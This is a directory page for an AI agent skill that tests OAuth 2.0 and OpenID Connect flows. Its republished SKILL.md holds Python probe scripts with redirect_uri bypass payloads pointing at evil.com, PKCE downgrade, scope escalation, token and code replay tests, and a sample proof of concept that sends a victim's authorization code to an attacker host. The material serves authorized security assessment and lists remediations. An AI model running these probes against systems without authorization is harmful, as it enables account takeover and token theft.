Agent skill

Testing Oauth2 Implementation Flaws

by mukul975 in mukul975/Anthropic-Cybersecurity-Skills

Tests OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass, using Burp…

Apache-2.0Auto-check passedBackend & APIs

Install Testing Oauth2 Implementation Flaws

skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-oauth2-implementation-flaws -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills testing-oauth2-implementation-flaws --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/testing-oauth2-implementation-flaws .claude/skills/testing-oauth2-implementation-flaws && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
testing-oauth2-implementation-flaws
GitHub stars
34k
Token cost
~4.3k tokens
SKILL.md length
610 words
Files
4 (incl. scripts, references)
Skills in repo
639
Repo updated
First seen
Licence
Apache-2.0

At a glance

Tests OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass, using Burp…

  • Works in 6 steps: OAuth Flow Reconnaissance → Redirect URI Validation Testing → State Parameter (CSRF) Testing → …
  • Assessing OAuth2/OIDC flows
  • SKILL.md covers When to Use, Prerequisites, Workflow and Key Concepts, plus 3 more sections
  • Runs Python scripts from its folder

What it does

Testing Oauth2 Implementation Flaws is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Tests OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass, using Burp Suite Professional and the EsPReSSO extension to probe the authorization server, client, and token handling. Use when assessing OAuth2/OIDC flows or SSO systems for misconfigurations enabling account takeover.

Its SKILL.md is about 4.3k tokens, which your agent loads only when the skill is triggered. The skill folder holds 5 other files, including scripts and reference files (for example `references/api-reference.md` and `scripts/agent.py`).

It sits in Backend & APIs, covering OAuth and OpenID Connect. It works with Burp Suite. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.

When your agent uses it

  • Assessing OAuth2/OIDC flows
  • SSO systems for misconfigurations enabling account takeover

Example prompts

  • “Use the testing-oauth2-implementation-flaws skill to test OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect…”
  • “/testing-oauth2-implementation-flaws”

Requirements

  • Python 3

Workflow steps

6 steps, taken from the step headings in SKILL.md.

  1. OAuth Flow Reconnaissance
  2. Redirect URI Validation Testing
  3. State Parameter (CSRF) Testing
  4. PKCE Bypass Testing
  5. Scope Escalation and Token Testing
  6. Implicit Flow and Token Leakage Testing

What it can do on your machine

Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Ships 1 file in scripts/ (Python), which the agent can run.

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Testing Oauth2 Implementation Flaws loads about 4.3k tokens when it runs, and up to ~4.8k if it reads all its reference files. Until then it costs about 111 tokens; SKILL.md has 610 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~111
When it runs · the whole SKILL.md, loaded when a task matches
~4.3k
With references · SKILL.md plus every file in references/, read only if the agent opens them
~4.8k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.

SKILL.md

The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 610 words, ~4,338 tokens.

Download SKILL.mdSave it as .claude/skills/testing-oauth2-implementation-flaws/SKILL.md (or your agent's skills folder). This skill also uses 3 other files; get the full folder from GitHub.
name
testing-oauth2-implementation-flaws
description
Tests OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass, using Burp Suite Professional and the EsPReSSO extension to probe the authorization server, client, and token handling. Use when assessing OAuth2/OIDC flows or SSO systems for misconfigurations enabling account takeover.
domain
cybersecurity
subdomain
api-security
tags
api-security, oauth2, oidc, authentication, redirect-uri, token-security
version
1.0.0
author
mahipal
license
Apache-2.0
nist_csf
PR.PS-01, ID.RA-01, PR.DS-10, DE.CM-01
mitre_attack
T1190, T1059.007, T1552.001, T1027, T1070

Testing OAuth2 Implementation Flaws

When to Use

  • Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
  • Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
  • Evaluating token storage, transmission, and lifecycle management in OAuth implementations
  • Testing scope escalation where clients request more permissions than authorized
  • Assessing OpenID Connect implementations for ID token validation and nonce usage

Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.

Prerequisites

  • Written authorization specifying the OAuth provider and client applications in scope
  • Test OAuth client registered with the authorization server
  • Burp Suite Professional for intercepting OAuth redirects and token flows
  • Python 3.10+ with requests and oauthlib libraries
  • Browser developer tools for observing OAuth redirect chains
  • Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)

Workflow

Step 1: OAuth Flow Reconnaissance
python
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
    config = well_known.json()
    print("OAuth/OIDC Configuration:")
    print(f"  Authorization: {config.get('authorization_endpoint')}")
    print(f"  Token: {config.get('token_endpoint')}")
    print(f"  UserInfo: {config.get('userinfo_endpoint')}")
    print(f"  JWKS: {config.get('jwks_uri')}")
    print(f"  Supported grants: {config.get('grant_types_supported')}")
    print(f"  Supported scopes: {config.get('scopes_supported')}")
    print(f"  PKCE methods: {config.get('code_challenge_methods_supported')}")
    auth_endpoint = config['authorization_endpoint']
    token_endpoint = config['token_endpoint']
else:
    # Try common paths
    for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
        resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
        if resp.status_code in (302, 400):
            print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
            auth_endpoint = f"{AUTH_SERVER}{path}"
            break
Step 2: Redirect URI Validation Testing
python
# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
    # Open redirect variations
    REDIRECT_URI,                                          # Legitimate
    "https://evil.com",                                    # Different domain
    "https://app.example.com.evil.com/callback",          # Subdomain of attacker
    "https://app.example.com@evil.com/callback",          # URL authority confusion
    f"{REDIRECT_URI}/../../../evil.com",                  # Path traversal
    f"{REDIRECT_URI}?next=https://evil.com",              # Parameter injection
    f"{REDIRECT_URI}#https://evil.com",                   # Fragment injection
    f"{REDIRECT_URI}%23evil.com",                         # Encoded fragment
    "https://app.example.com/callback/../../evil",        # Relative path
    "https://APP.EXAMPLE.COM/callback",                   # Case variation
    "https://app.example.com/Callback",                   # Path case variation
    "https://app.example.com/callback/",                  # Trailing slash
    "https://app.example.com/callback?",                  # Trailing question mark
    "http://app.example.com/callback",                    # HTTP downgrade
    "https://app.example.com:443/callback",               # Explicit port
    "https://app.example.com:8443/callback",              # Different port
    f"{REDIRECT_URI}/.evil.com",                          # Dot segment
    "https://app.example.com/callbackevil",               # Path prefix match
    "javascript://app.example.com/callback%0aalert(1)",   # JavaScript protocol
]

print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": redirect,
        "scope": SCOPE,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)

    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location or redirect in location:
            status = "ACCEPTED"
            if redirect != REDIRECT_URI:
                print(f"  [VULNERABLE] {redirect[:70]} -> Redirect accepted")
        else:
            status = "REDIRECTED"
    elif resp.status_code == 400:
        status = "REJECTED"
    else:
        status = f"HTTP {resp.status_code}"

    if redirect == REDIRECT_URI:
        print(f"  [BASELINE] {redirect[:70]} -> {status}")
Step 3: State Parameter (CSRF) Testing
python
# Test 1: Missing state parameter
params_no_state = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[CSRF] Authorization code issued without state parameter")

# Test 2: State parameter reuse
state_value = "fixed_state_value_123"
# Use same state for multiple authorization requests
for i in range(3):
    params = {**params_no_state, "state": state_value}
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        returned_state = urllib.parse.parse_qs(
            urllib.parse.urlparse(location).query).get("state", [None])[0]
        if returned_state == state_value:
            print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")

# Test 3: Token exchange without state validation (client-side check)
# Intercept the callback and try exchanging the code without state
print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")
Step 4: PKCE Bypass Testing
python
# Test if PKCE (Proof Key for Code Exchange) is enforced

# Generate PKCE values
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')

# Test 1: Authorization request without PKCE
params_no_pkce = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[PKCE] Authorization code issued without PKCE challenge")

# Test 2: Token exchange without code_verifier
auth_code = "captured_auth_code"  # From intercept
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    # No code_verifier
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued without code_verifier - PKCE not enforced")

# Test 3: Token exchange with wrong code_verifier
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    "code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")

# Test 4: Downgrade from S256 to plain
params_plain_pkce = {
    **params_no_pkce,
    "code_challenge": code_verifier,  # Plain = verifier itself
    "code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
    print("[PKCE] Plain challenge method accepted - vulnerable to interception")
Step 5: Scope Escalation and Token Testing
python
# Test 1: Request additional scopes beyond what's registered
elevated_scopes = [
    "openid profile email admin",
    "openid profile email write:users",
    "openid profile email delete:*",
    "openid profile email admin:full",
    "*",
]

for scope in elevated_scopes:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": REDIRECT_URI,
        "scope": scope,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location:
            print(f"[SCOPE] Elevated scope accepted: {scope}")

# Test 2: Token reuse across clients
# Use a token from client A on client B's API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
    headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
    print("[TOKEN] Token from client A accepted by different service (audience not validated)")

# Test 3: Refresh token theft and reuse
refresh_token = "captured_refresh_token"
# Try using refresh token with different client_id
token_resp = requests.post(token_endpoint, data={
    "grant_type": "refresh_token",
    "refresh_token": refresh_token,
    "client_id": "different-client-id",
})
if token_resp.status_code == 200:
    print("[TOKEN] Refresh token accepted for different client - not bound to client")
Step 6: Implicit Flow and Token Leakage Testing
python
# Test if implicit flow is enabled (should be disabled per OAuth 2.1)
implicit_params = {
    "response_type": "token",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
    location = resp.headers.get("Location", "")
    if "access_token=" in location:
        print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")

# Test token leakage via Referer header
# Check if tokens appear in URLs that could leak via Referer
print("\nToken Leakage Checks:")
print("  - Check if access tokens appear in URL query parameters")
print("  - Check if tokens are logged in server access logs")
print("  - Check if callback URL with code is cached by the browser")
print("  - Check if the authorization code is single-use (replay test)")

# Authorization code replay test
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
    token_resp = requests.post(token_endpoint, data={
        "grant_type": "authorization_code",
        "code": auth_code_to_replay,
        "redirect_uri": REDIRECT_URI,
        "client_id": CLIENT_ID,
        "client_secret": "client_secret_value",
    })
    print(f"  Code replay attempt {attempt+1}: {token_resp.status_code}")
    if attempt > 0 and token_resp.status_code == 200:
        print("  [VULNERABLE] Authorization code is not single-use")

Key Concepts

TermDefinition
Authorization Code FlowOAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint
PKCEProof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception
Redirect URI ValidationAuthorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect
State ParameterRandom value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow
Scope EscalationRequesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access
Implicit FlowDeprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks

Tools & Systems

  • Burp Suite Professional: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges
  • EsPReSSO (Burp Extension): Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities
  • oauth2-security-tester: Dedicated tool for testing OAuth 2.0 flows against common attack patterns
  • OWASP ZAP: Passive scanner that detects OAuth misconfigurations in intercepted traffic
  • jwt.io: Online JWT decoder for analyzing OAuth access tokens and ID tokens
Show full SKILL.md (240 more words)Show less

Common Scenarios

Scenario: Social Login OAuth Implementation Assessment

Context: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.

Approach:

  1. Analyze the OAuth configuration at /.well-known/openid-configuration for both providers
  2. Test redirect URI validation: discover that the application registers https://app.example.com/callback but the server accepts https://app.example.com/callback/..%2fevil
  3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)
  4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile
  5. Test implicit flow: still enabled despite not being used by the application
  6. Test scope: application requests openid profile email but the authorization server also grants read:repos without explicit consent
  7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement
  8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)

Pitfalls:

  • Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters
  • Not testing both the authorization request and the token exchange independently
  • Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri
  • Not testing the state parameter validation on the client side (server may include it but client may not check it)
  • Assuming PKCE is enforced because the authorization server supports it (client must also send it)

Output Format

## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft

**ID**: API-OAUTH-001
**Severity**: Critical (CVSS 9.3)
**Affected Component**: OAuth 2.0 Authorization Code Flow
**Authorization Server**: auth.example.com

**Description**:
The authorization server's redirect_uri validation uses prefix matching
instead of exact string matching. An attacker can manipulate the redirect_uri
to redirect the authorization code to an attacker-controlled endpoint,
enabling account takeover. Additionally, PKCE is not enforced and the
state parameter is not validated by the client application.

**Proof of Concept**:
1. Craft authorization URL with manipulated redirect_uri:
   https://auth.example.com/authorize?response_type=code&client_id=app
   &redirect_uri=https://app.example.com/callback/../../../evil.com
   &scope=openid+profile+email&state=abc123
2. User authenticates and approves consent
3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
4. Attacker exchanges code at token endpoint (no PKCE required)
5. Attacker receives access token and ID token for victim's account

**Impact**:
Complete account takeover for any user who clicks a crafted OAuth login link.
The attacker gains full access to the user's profile, email, and any
resources the OAuth scope grants access to.

**Remediation**:
1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
2. Enforce PKCE (S256 method) for all authorization code flow requests
3. Validate the state parameter in the callback handler before exchanging the code
4. Disable the implicit flow on the authorization server
5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
6. Validate the audience (aud) claim in tokens before accepting them

© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 3 other files (scripts, references) in skills/testing-oauth2-implementation-flaws of mukul975/Anthropic-Cybersecurity-Skills.

  • SKILL.md
  • LICENSE
  • references/api-reference.md
  • scripts/agent.py

Open the folder on GitHubat commit 54a7988

Compare with similar skills

Testing Oauth2 Implementation Flaws next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Testing Oauth2 Implementation Flaws compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Testing Oauth2 Implementation Flaws this skillmukul975/Anthropic-Cybersecurity-Skills34k—~4.3kAutomated safety check: PassApache-2.0
Fortify Developmentcoollabsio/coolify63k4 repos~1.9kAutomated safety check: PassMIT
Better Auth Best Practiceslatitude-dev/latitude-llm4.7k7 repos~1.6kAutomated safety check: PassMIT
Stripe Appsfossasia/eventyay1.7k1 repos~3.6kAutomated safety check: PassApache-2.0
Antipattern Preventiondoorkeeper-gem/doorkeeper5.5k—~1.1kAutomated safety check: PassMIT
OmniRoute Provider Managementdiegosouzapw/OmniRoute74k—~2.4kAutomated safety check: PassMIT

Similar skills

  • Fortify Development

    coollabsio/coolify

    ACTIVATE when the user works on authentication in Laravel. An agent skill from coollabsio/coolify.

    63k GitHub starsUsed in 4 repos~1.9k tokens
    Backend & APIsAuto-check passed
  • Better Auth Best Practices

    latitude-dev/latitude-llm

    Configure Better Auth server and client, set up database adapters, manage sessions, add plugins, and handle environment variables.

    4.7k GitHub starsUsed in 7 repos~1.6k tokens
    Backend & APIsAuto-check passed
  • Stripe Apps

    fossasia/eventyay

    A skill your agent uses when building, modifying, or reviewing a Stripe App — or when the user describes something that implies one (e.g.

    1.7k GitHub starsUsed in 1 repo~3.6k tokens
    Backend & APIsAuto-check passed
  • Antipattern Prevention

    doorkeeper-gem/doorkeeper

    Avoid common Ruby and Rails antipatterns that degrade maintainability and performance.

    5.5k GitHub stars~1.1k tokensUpdated yesterday
    Backend & APIsAuto-check passed
  • OmniRoute Provider Management

    diegosouzapw/OmniRoute

    Manages AI provider connections, API keys, OAuth flows and connection tests through OmniRoute's REST API across its 327-provider catalog.

    74k GitHub stars~2.4k tokensUpdated today
    Backend & APIsAuto-check passed
  • Stripe Best Practices

    kanchengw/cnllm

    Guides Stripe integration decisions — API selection (Checkout Sessions vs PaymentIntents), Connect platform setup (Accounts v2, controller properties), billing/subscriptions, Treasury financial…

    175 GitHub starsUsed in 3 repos~925 tokens
    Backend & APIsAuto-check passed

More from mukul975/Anthropic-Cybersecurity-Skills

All 639 skills in this repo
  • Campaign Attribution Evidence Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Weighs infrastructure, TTP, malware code and timing evidence with the Diamond Model and competing hypotheses to reach a confidence-rated attribution.

    34k GitHub stars~2.3k tokensUpdated 1 mo ago
    Auto-check passed
  • Go Malware Analysis in Ghidra

    mukul975/Anthropic-Cybersecurity-Skills

    Walks through reverse engineering Go-compiled malware in Ghidra: parsing buildinfo and pclntab, recovering stripped function names and extracting dependencies.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed
  • LNK and Jump List Forensics

    mukul975/Anthropic-Cybersecurity-Skills

    Guides forensic analysis of Windows LNK shortcut files and Jump Lists with LECmd, JLECmd and manual parsing to show file access and program execution.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed
  • Malware Persistence Analysis with Autoruns

    mukul975/Anthropic-Cybersecurity-Skills

    Hunts Windows malware persistence with Sysinternals Autoruns, covering run keys, services, scheduled tasks and drivers, with baseline comparison.

    34k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed
  • NTFS MFT Deleted File Recovery

    mukul975/Anthropic-Cybersecurity-Skills

    Guides a Windows forensic examination of the NTFS Master File Table to recover deleted-file evidence, build timelines and spot timestomping.

    34k GitHub stars~2.7k tokensUpdated 1 mo ago
    Auto-check passed
  • Network Covert Channel Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Detects DNS tunneling, ICMP exfiltration and HTTP-based covert channels in packet captures and DNS logs when hunting for hidden command-and-control traffic.

    34k GitHub stars~2k tokensUpdated 1 mo ago
    Auto-check passed

Works with

Categories

Questions about Testing Oauth2 Implementation Flaws

What does Testing Oauth2 Implementation Flaws do?

Tests OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass, using Burp…. Testing Oauth2 Implementation Flaws is an agent skill from mukul975/Anthropic-Cybersecurity-Skills.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass, using Burp Suite Professional and the EsPReSSO extension to probe the authorization server, client, and token handling.

When should I use Testing Oauth2 Implementation Flaws?

Testing Oauth2 Implementation Flaws fits situations like: assessing OAuth2/OIDC flows; SSO systems for misconfigurations enabling account takeover.

How do I install Testing Oauth2 Implementation Flaws in Claude Code?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-oauth2-implementation-flaws -a claude-code`. Or copy the skill folder (skills/testing-oauth2-implementation-flaws in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/testing-oauth2-implementation-flaws in your project. Claude Code loads it when a task matches its description.

How do I install Testing Oauth2 Implementation Flaws in Codex?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-oauth2-implementation-flaws -a codex`. Or copy the skill folder (skills/testing-oauth2-implementation-flaws in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/testing-oauth2-implementation-flaws in your project. Codex loads it when a task matches its description.

Can I use Testing Oauth2 Implementation Flaws in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-oauth2-implementation-flaws -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/testing-oauth2-implementation-flaws, .gemini/skills/testing-oauth2-implementation-flaws, .github/skills/testing-oauth2-implementation-flaws and .opencode/skills/testing-oauth2-implementation-flaws in your project.

What does Testing Oauth2 Implementation Flaws need to run?

Going by SKILL.md and its folder, Testing Oauth2 Implementation Flaws needs Python for the scripts in its folder. Our summary lists: Python 3.

Does Testing Oauth2 Implementation Flaws access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Testing Oauth2 Implementation Flaws safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.

What licence does Testing Oauth2 Implementation Flaws use?

Testing Oauth2 Implementation Flaws is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Testing Oauth2 Implementation Flaws use?

About 4.3k tokens (SKILL.md is roughly 17k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 476 tokens, read only when the agent opens those files.

What are the alternatives to Testing Oauth2 Implementation Flaws?

Skills that share tags, products or a category with Testing Oauth2 Implementation Flaws: Fortify Development (coollabsio/coolify, 63k stars), Better Auth Best Practices (latitude-dev/latitude-llm, 4.7k stars), Stripe Apps (fossasia/eventyay, 1.7k stars) and Antipattern Prevention (doorkeeper-gem/doorkeeper, 5.5k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Testing Oauth2 Implementation Flaws?

mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 33,870 GitHub stars. The repository holds 639 skills in this directory. The repository was last updated on August 31, 2026.

Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.